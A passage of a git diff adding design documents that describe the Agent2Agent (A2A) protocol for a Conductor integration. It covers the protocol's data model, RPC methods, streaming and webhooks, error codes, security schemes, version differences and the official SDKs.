conversational/task interface. You ask a remote agent to *accomplish something*; you don't + reach into how it does it. + +## 2.5 Two illustrative splits (secondary sources) + +These come from third-party explainers, not the spec, but they're clean mental models: + +- **Loan approval** — MCP handles preprocessing (credit-score APIs, transaction history, OCR + doc validation); A2A orchestrates a `RiskAssessmentAgent`, a `ComplianceAgent`, and a + `DisbursementAgent`. Mixed MCP + A2A. +- **IT helpdesk** — a client agent routes a ticket across Hardware-Diagnostic → + Software-Rollback → Device-Replacement agents, all opaque and communicating asynchronously + via Tasks. "Pure A2A" — no structured tools involved, all coordination is agent-to-agent. + +## 2.6 Why this matters for Conductor + +Conductor's `ai/` module already makes Conductor an **MCP client** (`CALL_MCP_TOOL`, +`LIST_MCP_TOOLS`, `MCP` task types) and an LLM orchestrator (`LLM_CHAT_COMPLETE`, +`LLM_TEXT_COMPLETE`, embeddings/RAG, multimodal). That covers the "agent uses tools" half. +A2A is the other half — the peer layer. The implications of adding it are explored in +[08-conductor-implications.md](08-conductor-implications.md). diff --git a/design/a2a/03-data-model.md b/design/a2a/03-data-model.md new file mode 100644 index 0000000..7587984 --- /dev/null +++ b/design/a2a/03-data-model.md @@ -0,0 +1,284 @@ +# 3. Core Data Model + +> Field names and enum values below use the **v0.3.x JSON-RPC model** (lowercase enums, +> `kind` discriminators) — what the broad SDK ecosystem implements. v1.0 (ProtoJSON) renames +> several of these; deltas are flagged inline and collected in [06-versioning.md](06-versioning.md). +> Types are shown as TypeScript-ish interfaces for readability; the canonical source is +> `specification/a2a.proto`. + +## 3.0 The object graph at a glance + +``` +AgentCard ── advertises ──► AgentSkill[] (discovery) + │ + └─ capabilities: AgentCapabilities + +contextId ── groups ──► Task, Task, Task … (a conversation/session) + Task + ├─ status: TaskStatus { state, message?, timestamp? } + ├─ history: Message[] (the turns of this task) + └─ artifacts: Artifact[] (the outputs of this task) + +Message ── made of ──► Part[] (Part = TextPart | FilePart | DataPart) +Artifact ── made of ──► Part[] +``` + +- **contextId** is the conversation/session. It groups one or more related **Tasks**. +- A **Task** is one stateful job inside a context. Its `history` holds that job's turns; its + `artifacts` holds its outputs. +- **Messages** and **Artifacts** are both built from typed **Parts**. + +## 3.1 AgentCard — the discovery unit + +A JSON document describing "an agent's identity, capabilities, endpoint, skills, and +authentication requirements." It is how a client finds and selects a remote agent. + +### Hosting & discovery +- **Well-known URI** (RFC 8615): `https://{domain}/.well-known/agent.json` (**v0.2.5**) → + `…/.well-known/agent-card.json` (**v0.3.0+**). +- **Three discovery mechanisms:** (1) Well-Known URI on the agent's domain; (2) curated + **catalogs / registries** (enterprise, public, or domain-specific); (3) **direct + configuration** (client is pre-given the card URL or content). + +### Fields (v0.3.x) +```ts +interface AgentCard { + protocolVersion: string; // A2A version the card conforms to (e.g. "0.3.0") + name: string; // human-readable agent name + description: string; // human-readable description + url: string; // base endpoint URL for the preferred transport + preferredTransport: string; // transport at `url`; defaults to "JSONRPC". REQUIRED in v0.3.0 + additionalInterfaces?: AgentInterface[]; // other (url, transport) pairs supported + iconUrl?: string; + provider?: AgentProvider; // the org providing the agent + version: string; // agent/implementation version (provider-defined) + documentationUrl?: string; + capabilities: AgentCapabilities; // optional protocol features supported + securitySchemes?: { [name: string]: SecurityScheme }; // OpenAPI-style auth schemes + security?: { [name: string]: string[] }[]; // security requirements (scheme → scopes) + defaultInputModes: string[]; // default accepted input MIME types (e.g. "text/plain") + defaultOutputModes: string[]; // default produced output MIME types + skills: AgentSkill[]; // the capabilities the agent offers + supportsAuthenticatedExtendedCard?: boolean; // serves a richer card to authed clients + signatures?: AgentCardSignature[]; // JWS signatures over the card (v0.3.0+) +} +``` + +Notes: +- `defaultInputModes` / `defaultOutputModes` are **MIME types** (`"text/plain"`, + `"application/json"`, `"image/png"`), applied to every skill unless a skill overrides them. +- `securitySchemes` (a map) + `security` (a requirements array) mirror **OpenAPI** security + definitions. See [05-security.md](05-security.md). +- `preferredTransport` is documented as **REQUIRED** from v0.3.0 (was optional-looking in + v0.2.5). + +### Supporting types +```ts +interface AgentProvider { organization: string; url: string; } + +interface AgentInterface { // a (URL, transport) the agent is reachable at + url: string; + transport: string; // a TransportProtocol value: "JSONRPC" | "GRPC" | "HTTP+JSON" +} + +interface AgentCardSignature { // JWS over the card, for integrity/authenticity + protected: string; // base64url JWS protected header (RFC 7515) + signature: string; // base64url signature + header?: object; // optional unprotected JWS header +} +``` + +### Authenticated Extended Card +If `supportsAuthenticatedExtendedCard` is `true`, an authenticated client can GET a richer +card via `agent/getAuthenticatedExtendedCard` (v0.3.x) — it "may contain additional details +or skills not present in the public card." (v1.0 moves the flag to +`capabilities.extendedAgentCard`.) + +## 3.2 AgentSkill — an advertised capability +```ts +interface AgentSkill { + id: string; // unique within this agent + name: string; // human-readable + description: string; // what the skill does + tags: string[]; // keywords/categories for discoverability + examples?: string[]; // example prompts / use cases + inputModes?: string[]; // MIME types — overrides card defaults for this skill + outputModes?: string[];// MIME types — overrides card defaults for this skill +} +``` +> v1.0 adds a per-skill `security?: string[]`. Not present in v0.2.5/0.3.x. + +## 3.3 AgentCapabilities — optional protocol features +```ts +interface AgentCapabilities { + streaming?: boolean; // supports SSE (message/stream, tasks/resubscribe) + pushNotifications?: boolean; // supports webhook push notifications + stateTransitionHistory?: boolean; // exposes detailed status-change history + extensions?: AgentExtension[]; // declared protocol extensions +} + +interface AgentExtension { + uri: string; // identifies the extension + description?: string; + required?: boolean; // must a client understand it to interact? + params?: { [k: string]: any }; // extension-specific config +} +``` + +## 3.4 Task — the stateful unit of work + +Created by the server when a message requires stateful/long-running work. +```ts +interface Task { + id: string; // unique task id (server-generated, e.g. UUID) + contextId: string; // groups related tasks/interactions + status: TaskStatus; // current state (+ optional message + timestamp) + history?: Message[]; // the conversation turns of this task + artifacts?: Artifact[]; // outputs produced by this task + metadata?: Record; + kind: "task"; // discriminator literal +} + +interface TaskStatus { + state: TaskState; // current lifecycle state (see 3.5) + message?: Message; // e.g. the agent's reply or its prompt for input + timestamp?: string; // ISO 8601 +} +``` + +**Task ↔ contextId ↔ Message ↔ Artifact:** +- A Task **groups its messages** in `history` (ordered turns) and **its outputs** in `artifacts`. +- `contextId` **groups related Tasks** — "for maintaining context across multiple related + tasks or interactions." Several Tasks in the same broader session share one `contextId`. +- Messages tie back via `Message.taskId` and can cite sibling tasks via + `Message.referenceTaskIds`. Both Message and Task carry `contextId`. + +## 3.5 TaskState — the lifecycle enum (v0.3.x: lowercase strings) + +| Member | String value | Meaning | Class | +|---|---|---|---| +| Submitted | `"submitted"` | Acknowledged, not yet started | non-terminal | +| Working | `"working"` | Actively being processed | non-terminal | +| InputRequired | `"input-required"` | Agent needs **more user input** to proceed | **paused / resumable** | +| AuthRequired | `"auth-required"` | **Authentication required** to proceed | **paused / resumable** | +| Completed | `"completed"` | Finished successfully | **terminal** | +| Canceled | `"canceled"` | Canceled before completion | **terminal** | +| Failed | `"failed"` | Finished with an error | **terminal** | +| Rejected | `"rejected"` | Agent declined to perform the task | **terminal** | +| Unknown | `"unknown"` | Indeterminate state | (treat as non-actionable sentinel — *(inference)*) | + +- **Terminal:** `completed`, `canceled`, `failed`, `rejected` — no further work on that task id. +- **Paused / resumable:** `input-required`, `auth-required` — the client resumes by sending + another message with the **same `taskId`** (supplying the input/credentials), without losing + prior work. +- v1.0 prefixes these: `TASK_STATE_SUBMITTED`, `…_WORKING`, `…_INPUT_REQUIRED`, + `…_AUTH_REQUIRED`, `…_COMPLETED`, `…_CANCELED`, `…_FAILED`, `…_REJECTED`, plus + `TASK_STATE_UNSPECIFIED` (the zero/unknown value). + +## 3.6 Message — one turn of communication +```ts +interface Message { + role: "user" | "agent"; // "user" = from client; "agent" = from remote agent + parts: Part[]; // the content + messageId: string; // unique id set by the creator + taskId?: string; // the task this message relates to + contextId?: string; // the context this message belongs to + metadata?: Record; + referenceTaskIds?: string[]; // other tasks cited as context + extensions?: string[]; // URIs of extensions used in this message + kind: "message"; // discriminator literal +} +``` +> v1.0: `ROLE_USER` / `ROLE_AGENT` (+ `ROLE_UNSPECIFIED`). + +## 3.7 Part — the content union + +The fundamental content container in Messages and Artifacts, discriminated by `kind`. +```ts +type Part = TextPart | FilePart | DataPart; + +interface TextPart { kind: "text"; text: string; metadata?: Record; } + +interface FilePart { + kind: "file"; + file: FileWithBytes | FileWithUri; // exactly one variant + metadata?: Record; +} +interface FileWithBytes { name?: string; mimeType?: string; bytes: string; } // base64; no `uri` +interface FileWithUri { name?: string; mimeType?: string; uri: string; } // URL; no `bytes` + +interface DataPart { kind: "data"; data: Record; metadata?: Record; } +``` +The discriminator between the two file variants is `bytes` (inline base64) vs `uri` +(reference) — mutually exclusive. +> v1.0 drops `kind`, uses JSON members (`{ "text": … }`, `{ "file": { "fileWithUri" | "fileWithBytes": … } }`, `{ "data": … }`), and renames `mimeType` → `mediaType`. + +## 3.8 Artifact — a task output +```ts +interface Artifact { + artifactId: string; // unique id + name?: string; + description?: string; + parts: Part[]; // the content + metadata?: Record; + extensions?: string[]; +} +``` + +## 3.9 Streaming events (over SSE) + +Emitted when `capabilities.streaming` is true (via `message/stream` / `tasks/resubscribe`). +```ts +interface TaskStatusUpdateEvent { + taskId: string; + contextId: string; + kind: "status-update"; + status: TaskStatus; + final?: boolean; // true ⇒ last event; server closes the stream + metadata?: Record; +} + +interface TaskArtifactUpdateEvent { + taskId: string; + contextId: string; + kind: "artifact-update"; + artifact: Artifact; // the artifact, or a chunk of it + append?: boolean; // true ⇒ append parts to a previously-sent artifact + lastChunk?: boolean; // true ⇒ final chunk of this artifact + metadata?: Record; +} +``` +> v1.0 wraps these instead of using `kind`: `{ "taskStatusUpdate": { … } }`, +> `{ "taskArtifactUpdate": { … } }`. + +## 3.10 Push-notification objects +```ts +interface PushNotificationConfig { + id?: string; // config id (a task can have several) + url: string; // client webhook URL the server POSTs to + token?: string; // client token echoed back for validation + authentication?: PushNotificationAuthenticationInfo; // how the server auths TO the webhook +} + +interface PushNotificationAuthenticationInfo { + schemes: string[]; // e.g. ["Bearer"] + credentials?: string; // scheme-specific +} + +interface TaskPushNotificationConfig { // params/result of the pushNotificationConfig RPCs + taskId: string; + pushNotificationConfig: PushNotificationConfig; +} +``` + +## 3.11 `kind` discriminator quick reference (v0.3.x) + +| Object | `kind` | +|---|---| +| Task | `"task"` | +| Message | `"message"` | +| TextPart | `"text"` | +| FilePart | `"file"` | +| DataPart | `"data"` | +| TaskStatusUpdateEvent | `"status-update"` | +| TaskArtifactUpdateEvent | `"artifact-update"` | diff --git a/design/a2a/04-protocol-mechanics.md b/design/a2a/04-protocol-mechanics.md new file mode 100644 index 0000000..25375f4 --- /dev/null +++ b/design/a2a/04-protocol-mechanics.md @@ -0,0 +1,177 @@ +# 4. Protocol Mechanics — Transports, Methods, Streaming, Push, Errors + +> Method strings use the **v0.3.x JSON-RPC** wire names (e.g. `message/send`), which live +> implementers still emit even when advertising newer versions. The PascalCase names in +> parentheses are the abstract-operation / gRPC service method names. + +## 4.1 Transports + +A2A defines **three transport bindings**, treated as equal normative bindings. JSON-RPC 2.0 +over HTTP is the de-facto default. + +1. **JSON-RPC 2.0 over HTTP(S)** — single POST endpoint; requests/responses are JSON-RPC 2.0 + envelopes. Default when `preferredTransport` is unspecified. +2. **gRPC over HTTP/2** — protobuf service `A2AService` (`SendMessage`, `GetTask`, …). The + `specification/a2a.proto` file is the authoritative normative definition of all protocol + objects; the REST mapping is baked in via `google.api.http` annotations. +3. **HTTP+JSON / REST** — RESTful resource-style binding. + +### TransportProtocol enum +`"JSONRPC"`, `"GRPC"`, `"HTTP+JSON"` (v1.0 also allows custom URI binding identifiers). + +### Declaring transports on the Agent Card +- **v0.3.x:** `url` + `preferredTransport` (defaults to `"JSONRPC"`) + `additionalInterfaces[]` + (each an `AgentInterface { url, transport }`). Lets one agent expose the same functionality + over several transports/endpoints. +- **v1.0:** `supportedInterfaces[]` (ordered; first entry = preferred). + +### Negotiation & functional equivalence +A client should "select the first supported transport" in the card's preference order and use +that transport's URL. When an agent supports multiple transports, all of them **MUST**: +- provide the same set of operations and capabilities; +- return semantically equivalent results for the same requests; +- map errors consistently using protocol-specific codes; +- support the same authentication schemes declared in the Agent Card. + +A *Method Mapping Reference* and *Error Code Mappings* in the spec keep the bindings aligned. + +## 4.2 RPC methods + +JSON-RPC envelope: `{ "jsonrpc": "2.0", "id": …, "method": "", "params": {…} }`. + +| Method (JSON-RPC) | gRPC op | Params | Result | +|---|---|---|---| +| `message/send` | SendMessage | `MessageSendParams` | **`Message` \| `Task`** | +| `message/stream` | SendStreamingMessage | `MessageSendParams` | SSE stream of `Message` \| `Task` \| `TaskStatusUpdateEvent` \| `TaskArtifactUpdateEvent` | +| `tasks/get` | GetTask | `TaskQueryParams` | `Task` | +| `tasks/cancel` | CancelTask | `TaskIdParams` | `Task` (updated) | +| `tasks/resubscribe` | SubscribeToTask | `TaskIdParams` | SSE stream (same union as `message/stream`) | +| `tasks/pushNotificationConfig/set` | CreateTaskPushNotificationConfig | `TaskPushNotificationConfig` | `TaskPushNotificationConfig` | +| `tasks/pushNotificationConfig/get` | GetTaskPushNotificationConfig | `GetTaskPushNotificationConfigParams` | `TaskPushNotificationConfig` | +| `tasks/pushNotificationConfig/list` | ListTaskPushNotificationConfigs | `ListTaskPushNotificationConfigParams` | `TaskPushNotificationConfig[]` | +| `tasks/pushNotificationConfig/delete` | DeleteTaskPushNotificationConfig | `DeleteTaskPushNotificationConfigParams` | void / confirmation | +| `agent/getAuthenticatedExtendedCard` | GetExtendedAgentCard | (none) | `AgentCard` | +| `tasks/list` *(v1.0 only)* | ListTasks | `ListTasksRequest` | `ListTasksResponse` (`tasks[]`, `nextPageToken`, …) | + +### Method detail +- **`message/send`** — the primary operation. Client sends a `Message`; the agent returns + **either a `Task`** (when it tracks stateful/long-running work) **or a direct `Message`** + (immediate reply). Blocking vs non-blocking is controlled by `configuration.blocking`. +- **`message/stream`** — same params, but the agent streams incremental updates over SSE. + Requires `capabilities.streaming: true`. See §4.3. +- **`tasks/get`** — fetch a task's current status, artifacts, and (optionally) history. + `historyLength` caps how many recent messages come back. +- **`tasks/cancel`** — request termination; **success is not guaranteed**. Returns the updated + `Task`; errors with `TaskNotCancelableError` if the task can't be canceled in its state. +- **`tasks/resubscribe`** — reconnect an SSE stream to an existing task after a dropped + connection. +- **`tasks/pushNotificationConfig/*`** — manage webhook configs bound to a task (§4.4). +- **`agent/getAuthenticatedExtendedCard`** — no params; after auth, returns a richer + `AgentCard`. Errors with `AuthenticatedExtendedCardNotConfiguredError` if none configured. + +### Key param types +```ts +interface MessageSendParams { + message: Message; // required + configuration?: MessageSendConfiguration; + metadata?: Record; +} +interface MessageSendConfiguration { + acceptedOutputModes?: string[]; // accepted output MIME types + historyLength?: number; // how much history to include in the returned Task + pushNotificationConfig?: PushNotificationConfig; // register a webhook inline with the send + blocking?: boolean; // true ⇒ hold response until terminal/paused (inference) +} +interface TaskQueryParams { id: string; historyLength?: number; metadata?: Record; } +interface TaskIdParams { id: string; metadata?: Record; } +``` + +## 4.3 Streaming (Server-Sent Events) + +- **Activation:** `capabilities.streaming: true`; initiated by `message/stream` (or resumed by + `tasks/resubscribe`). +- **HTTP mechanics:** the server responds `200 OK` with `Content-Type: text/event-stream` and + holds the connection open. Each SSE event's `data:` field carries a JSON-RPC 2.0 response + whose `result` is one of: `Message`, `Task`, `TaskStatusUpdateEvent`, `TaskArtifactUpdateEvent`. +- **Artifact streaming:** `TaskArtifactUpdateEvent.append` lets the agent stream an artifact in + chunks; `lastChunk: true` marks the final chunk. +- **Stream closure:** when a task hits a terminal or interrupted state (completed, failed, + canceled, rejected, or input-required) the server closes the stream; the final status event + carries `final: true`. +- **Resubscription:** on disconnect, the client calls `tasks/resubscribe` with `TaskIdParams` + to resume the event stream for the same task. + +## 4.4 Push notifications (webhooks) + +For very long-running or disconnected scenarios (mobile, serverless, hours/days-long tasks). +Requires `capabilities.pushNotifications: true`. + +- The client registers a `PushNotificationConfig` (webhook `url`, optional `token`, optional + `authentication`) — via `tasks/pushNotificationConfig/set` or inline in + `MessageSendConfiguration.pushNotificationConfig`. +- The agent **POSTs** notifications to that webhook as state changes occur (payload mirrors the + streaming event shapes — may contain task/message/statusUpdate/artifactUpdate). +- On receipt, the client typically calls `tasks/get` to pull the full updated `Task`. +- Errors with `PushNotificationNotSupportedError` if unsupported. + +### Streaming vs push — when to use which +| Use **SSE streaming** | Use **push notifications** | +|---|---| +| Real-time progress, low latency | Very long tasks (minutes → days) | +| Client can hold a persistent connection | Clients that can't hold connections (mobile/serverless) | +| Want every incremental update | Only need notification on significant state changes | + +Webhook security (SSRF protection, signing/JWKS verification) is covered in +[05-security.md](05-security.md). + +## 4.5 Error handling + +JSON-RPC error object `{ "code": int, "message": string, "data"?: any }`. Protocol-level +errors return HTTP 200 with a JSON-RPC error body. + +**Standard JSON-RPC 2.0 codes:** +| Code | Name | Meaning | +|---|---|---| +| -32700 | JSONParseError | Invalid JSON | +| -32600 | InvalidRequestError | Not a valid Request object | +| -32601 | MethodNotFoundError | Method doesn't exist / unavailable | +| -32602 | InvalidParamsError | Invalid parameters | +| -32603 | InternalError | Internal error | + +**A2A-specific codes (server range -32000…-32099):** +| Code | Name | Meaning | +|---|---|---| +| -32001 | TaskNotFoundError | Task id not found / no longer accessible | +| -32002 | TaskNotCancelableError | Task can't be canceled in its current state | +| -32003 | PushNotificationNotSupportedError | Server doesn't support push notifications | +| -32004 | UnsupportedOperationError | Operation not supported | +| -32005 | ContentTypeNotSupportedError | Supplied/requested MIME type not supported | +| -32006 | InvalidAgentResponseError | Agent produced a malformed response | +| -32007 | AuthenticatedExtendedCardNotConfiguredError | Extended card requested but none configured | + +> v1.0 adds (numbers *inferred*, likely -32008/-32009): `ExtensionSupportRequiredError`, +> `VersionNotSupportedError`. Vendor runtimes (e.g. AWS Bedrock AgentCore) may map their own +> non-spec codes — don't treat those as canonical. + +## 4.6 "Life of a task" — a concrete walkthrough + +A typical long-running interaction: + +1. **Discover.** Client fetches the remote agent's Agent Card from + `/.well-known/agent-card.json`, picks a transport, and checks `capabilities` / `skills`. +2. **Send.** Client calls `message/send` with a user `Message`. Because the work is + non-trivial, the agent returns a `Task` in state `submitted` (then `working`). +3. **Track.** Client either: + - **polls** `tasks/get`, or + - opened `message/stream` instead and receives `TaskStatusUpdateEvent` / + `TaskArtifactUpdateEvent` over SSE, or + - registered a **webhook** and gets POSTed on state changes. +4. **Clarify (optional).** Agent moves the task to `input-required` and emits a status + `message` asking a question. Client sends another `message/send` with the **same `taskId`**; + the task returns to `working`. +5. **Produce.** Agent emits `Artifact`(s) (possibly streamed in chunks with + `append`/`lastChunk`). +6. **Finish.** Task reaches a terminal state (`completed` / `failed` / `canceled` / + `rejected`); the final streaming event has `final: true` and the stream closes. + +Cancellation can be requested any time via `tasks/cancel` (best-effort). diff --git a/design/a2a/05-security.md b/design/a2a/05-security.md new file mode 100644 index 0000000..57149cc --- /dev/null +++ b/design/a2a/05-security.md @@ -0,0 +1,85 @@ +# 5. Security — "Secure by Default" / "Enterprise Ready" + +Security is one of A2A's five design principles. The stance: an A2A agent is just an +**opaque HTTP enterprise application**, so it should reuse the auth, transport security, and +observability machinery enterprises already run. + +## 5.1 Identity lives in HTTP headers, not the payload + +The defining decision: + +> "A2A protocol payloads, such as JSON-RPC messages, don't carry user or client identity +> information directly." + +Credentials travel in **standard HTTP headers** (`Authorization: Bearer `, an API-key +header, etc.). This cleanly separates *messaging* from *auth* and means an A2A endpoint can sit +behind a normal API gateway / identity proxy with no protocol-specific handling. + +## 5.2 Security schemes (OpenAPI 3.x-aligned) + +Declared on the Agent Card via `securitySchemes` (a map of scheme name → scheme) and `security` +(an array of requirement objects, each mapping a scheme name to required scopes). Supported +scheme subtypes: + +| `type` | Scheme type | Notes | +|---|---|---| +| `apiKey` | `APIKeySecurityScheme` | key in header/query/cookie | +| `http` | `HTTPAuthSecurityScheme` | includes HTTP `bearer` | +| `oauth2` | `OAuth2SecurityScheme` | OAuth 2.0 flows; per-skill scopes | +| `openIdConnect` | `OpenIdConnectSecurityScheme` | OIDC discovery | +| `mutualTLS` | `MutualTlsSecurityScheme` | mTLS | + +"Parity with OpenAPI's authentication schemes at launch" was an explicit launch goal, so these +map 1:1 onto OpenAPI security definitions. + +## 5.3 Transport security +- **HTTPS mandated** for production. +- **TLS 1.2+** with strong cipher suites. +- Clients validate server certificates against trusted CAs during the TLS handshake. + +## 5.4 AuthN/AuthZ responses & enforcement +- `401 Unauthorized` (with a `WWW-Authenticate` header) for missing/invalid credentials. +- `403 Forbidden` for valid-but-unauthorized. +- **Least privilege**; per-skill authorization via OAuth scopes declared in the Agent Card; + agents enforce authorization **before** touching backend systems. + +## 5.5 In-task / secondary auth — the `auth-required` state + +A task can enter the **`auth-required`** state mid-flight when elevated or additional +credentials are needed (e.g. the agent must access a system the initial token didn't cover). +This is a **paused, non-terminal** state: the client obtains new credentials out-of-band and +resumes the task (same `taskId`) without losing prior work. See lifecycle in +[03-data-model.md](03-data-model.md#35-taskstate--the-lifecycle-enum-v03x-lowercase-strings). + +## 5.6 Authenticated Extended Card + +Gated by `supportsAuthenticatedExtendedCard` (v0.3.x) / `capabilities.extendedAgentCard` +(v1.0). After authenticating, a client calls `agent/getAuthenticatedExtendedCard` to receive a +richer Agent Card (more skills/capabilities than the public card). Lets an agent advertise a +minimal public surface and reveal privileged capabilities only to authorized callers. + +## 5.7 Agent Card signing + +From v0.3.0, an Agent Card can carry `signatures[]` (JWS — `protected` header + `signature`). +This lets a consumer verify the card's **integrity and authenticity** (that it really came from +the claimed provider and wasn't tampered with) before trusting its endpoints/skills. + +## 5.8 Push-notification (webhook) security + +Push notifications introduce a callback channel, so both directions need protection: + +- **Server side (the agent POSTing the webhook):** + - **Validate webhook URLs to prevent SSRF** — don't blindly POST to client-supplied URLs. + - Authenticate **to** the webhook using the `PushNotificationConfig.authentication` info + (Bearer token, API key, HMAC, or mTLS). +- **Client side (receiving the webhook):** + - Verify authenticity — e.g. verify a signed **JWT** against the A2A server's **JWKS** + (asymmetric signing). + - Validate the echoed `token`, check timestamps, and **prevent replay** via nonces/unique ids. + +## 5.9 Enterprise observability +- **OpenTelemetry** + W3C trace-context headers for distributed tracing across agents. +- Structured logging keyed by `taskId` / `contextId` / correlation ids. +- Metrics and audit logging for sensitive events. +- Compatible with API-gateway policy enforcement. Data-privacy compliance (GDPR/CCPA/HIPAA) is + the implementer's responsibility — A2A provides the hooks, not the compliance. diff --git a/design/a2a/06-versioning.md b/design/a2a/06-versioning.md new file mode 100644 index 0000000..3404303 --- /dev/null +++ b/design/a2a/06-versioning.md @@ -0,0 +1,54 @@ +# 6. Versioning — v0.2.5 → v0.3.0 → v1.0 + +The biggest practical gotcha in A2A right now is that **two materially different spec +generations are live at once**. The site's `/latest/` already points to **v1.0**, but the +broad SDK and deployed-agent ecosystem is still largely on **v0.3.x** (and plenty on v0.2.5). +They are **not interchangeable on the wire** — enum spellings, polymorphism, and several field +names differ. Pin your target version explicitly. + +## 6.1 The two models + +| Aspect | **v0.2.x / v0.3.x** (JSON-RPC-first) | **v1.0** (Protobuf-first / ProtoJSON) | +|---|---|---| +| Source of truth | JSON Schema / TS types | `specification/a2a.proto` (pkg `lf.a2a.v1`) — JSON schema is a *generated artifact* | +| `TaskState` | `"submitted"`, `"input-required"`, … | `TASK_STATE_SUBMITTED`, `TASK_STATE_INPUT_REQUIRED`, … (+`TASK_STATE_UNSPECIFIED`) | +| `Message.role` | `"user"` / `"agent"` | `ROLE_USER` / `ROLE_AGENT` (+`ROLE_UNSPECIFIED`) | +| Polymorphism | `kind` discriminator (`"task"`, `"text"`, `"status-update"`, …) | **no `kind`** — JSON-member / wrapper polymorphism (`{ "taskStatusUpdate": {…} }`) | +| `Part` file | `mimeType`; `FileWithBytes.bytes` / `FileWithUri.uri` | `mediaType`; file content via `raw` (bytes) / `url` members | +| Transport on card | `preferredTransport` + `additionalInterfaces[]` (each `{url, transport}`) | `supportedInterfaces[]` (each `{url, protocolBinding, protocolVersion}`; first = preferred) | +| Extended-card flag | `supportsAuthenticatedExtendedCard` (top-level) | `capabilities.extendedAgentCard` | +| `AgentCard.protocolVersion` | `"0.3.0"` | `"1.0"` (Major.Minor; patch doesn't affect compatibility) | +| Task listing | — | new `tasks/list` / `ListTasks` (paginated, with filters) | +| Per-skill security | — | `AgentSkill.security?: string[]` added | +| New errors | — | `ExtensionSupportRequiredError`, `VersionNotSupportedError` | + +## 6.2 Well-known path changed +- **v0.2.5:** `https://{domain}/.well-known/agent.json` +- **v0.3.0+ / v1.0:** `https://{domain}/.well-known/agent-card.json` + +A client that hard-codes the wrong path won't discover the agent. + +## 6.3 JSON-RPC method strings persist across versions + +Even in v1.0, the **JSON-RPC wire method strings stay slash-delimited** (`message/send`, +`tasks/get`, …). The PascalCase names (`SendMessage`, `GetTask`) are the abstract-operation / +gRPC service names. A live v1.0 implementer (AWS Bedrock AgentCore) still emits +`"message/send"` while advertising the protocol — confirming the slash strings are the +JSON-RPC transport's wire format. *(The v1.0 JSON-RPC binding section restating this could not +be fetched directly during research — treat the v1.0 slash-string continuation as well-supported +inference rather than a verbatim quote.)* + +## 6.4 SDK reality +The official Python SDK (`a2a-sdk`) implements **v1.0** with a **v0.3 compatibility mode** +(`compat/v0_3/` shims), across all three transports. The v1.0 SDK also **renamed/removed +classes** (e.g. `A2AStarletteApplication` and the single-transport `A2AClient` are gone, +replaced by route factories + `ClientFactory`/`Client`). So "which version" affects not just +the wire format but the SDK API you code against. Details in +[07-ecosystem-and-samples.md](07-ecosystem-and-samples.md). + +## 6.5 Recommendation for a new integration +- If you need **maximum interoperability today**, target **v0.3.x** wire semantics (lowercase + enums, `kind`, `/.well-known/agent-card.json`) — most deployed agents and tutorials assume it. +- If you're building **green-field against current SDKs**, target **v1.0** and rely on the + SDK's v0.3 compatibility mode for older peers. +- Either way, **read the AgentCard's `protocolVersion`** and adapt; don't assume. diff --git a/design/a2a/07-ecosystem-and-samples.md b/design/a2a/07-ecosystem-and-samples.md new file mode 100644 index 0000000..7fb5617 --- /dev/null +++ b/design/a2a/07-ecosystem-and-samples.md @@ -0,0 +1,152 @@ +# 7. Ecosystem, SDKs & Samples + +All verified against the live `github.com/a2aproject` org and the spec site. + +## 7.1 Governance & licensing +- **Owner:** the **Linux Foundation**. The org description: *"Agent2Agent (A2A) Project — + Donated to the Linux Foundation by Google."* +- **License:** **Apache 2.0** across the spec repo and every SDK. +- **Governance:** an **8-seat Technical Steering Committee** (`GOVERNANCE.md`), one per + company — Google, Microsoft, Cisco, AWS, Salesforce, ServiceNow, SAP, IBM Research. Roles + escalate Contributors → Maintainers by TSC vote; a `.gitvote.yml` bot runs TSC votes. +- IBM's **ACP** protocol merged into A2A under the Linux Foundation (LF AI & Data umbrella — + *inference*). + +## 7.2 The canonical spec is Protobuf, not JSON + +Key finding for anyone implementing: + +- The **source of truth is `specification/a2a.proto`** — a single proto3 file, package + **`lf.a2a.v1`**, defining the `A2AService` gRPC service (`SendMessage`, + `SendStreamingMessage`, `GetTask`, …) with `google.api.http` REST annotations baked in. +- The **JSON Schema (`a2a.json`) is a *generated, non-normative artifact*** derived from the + proto (JSON Schema 2020-12, produced by `scripts/proto_to_json_schema.sh` via bufbuild's + `protoc-gen-jsonschema`). It is intentionally **not committed** — *"Do NOT edit `a2a.json` + manually. Update the proto instead."* +- Practical consequence: when in doubt about a field, **read the `.proto`**, not the JSON. + +> Correction to a common assumption: there is **no** committed `specification/json/a2a.json` +> or `specification/grpc/a2a.proto`. The proto lives at `specification/a2a.proto`; +> `specification/json/` holds only a README explaining the generated schema. + +Main repo (`a2aproject/A2A`) also contains: `docs/` (MkDocs site source — `specification.md`, +`definitions.md`, `topics/`, `tutorials/`, `partners.md`, `announcing-1.0.md`, +`whats-new-v1.md`, `llms.txt`), `adrs/` (architecture decision records), and the usual +governance/meta files. + +## 7.3 Official SDKs + +All under `a2aproject`, all Apache 2.0: + +| Language | Repo | Package | Notes | +|---|---|---|---| +| **Python** | `a2a-python` | PyPI `a2a-sdk` | Most mature; implements v1.0 with a v0.3 compat mode; all 3 transports (client + server) | +| **JS/TS** | `a2a-js` | npm `@a2a-js/sdk` | Express + gRPC integrations | +| **Java** | `a2a-java` | Maven | Official | +| **.NET/C#** | `a2a-dotnet` | NuGet `A2A` | ASP.NET Core, SSE streaming, card discovery; .NET 8+ | +| **Go** | `a2a-go` | `github.com/a2aproject/a2a-go/v2` | Run apps as A2A servers | +| **Rust** | `a2a-rs` | — | Present in org; less prominent | + +Tooling repos: **`a2a-inspector`** (validation tools), **`a2a-tck`** (Technical Compatibility +Kit / conformance suite), **`a2a-itk`** (integration testing kit), **`a2a-gateway`** (bridges +A2A agents to other channels), plus experimental binding/auth extensions. + +## 7.4 SDK API shape (Python, and mirrored in JS) + +A consistent cross-language design: + +**Server side:** +- **`AgentExecutor`** — the abstract base you implement. Two async methods: `execute(context, + event_queue)` and `cancel(context, event_queue)`. Your agent logic lives here. +- **`RequestHandler`** → concrete **`DefaultRequestHandler`** (constructed with `agent_card`, + `task_store`, `agent_executor`). Also `GrpcHandler`, `LegacyRequestHandler`. +- **`TaskStore`** — async persistence (`save`/`get`/`list`/`delete`). Implementations: + **`InMemoryTaskStore`**, **`DatabaseTaskStore`** (Postgres/MySQL/SQLite), `CopyingTaskStore`. +- **App wiring (v1.0):** the old wrapper apps (`A2AStarletteApplication`, + `A2AFastApiApplication`, `A2ARESTFastApiApplication`) were **removed**; you now compose route + factories (`create_jsonrpc_routes()`, `create_rest_routes()`, `create_agent_card_routes()`) + into a `Starlette`/`FastAPI` app and run with `uvicorn`. + +**Client side:** 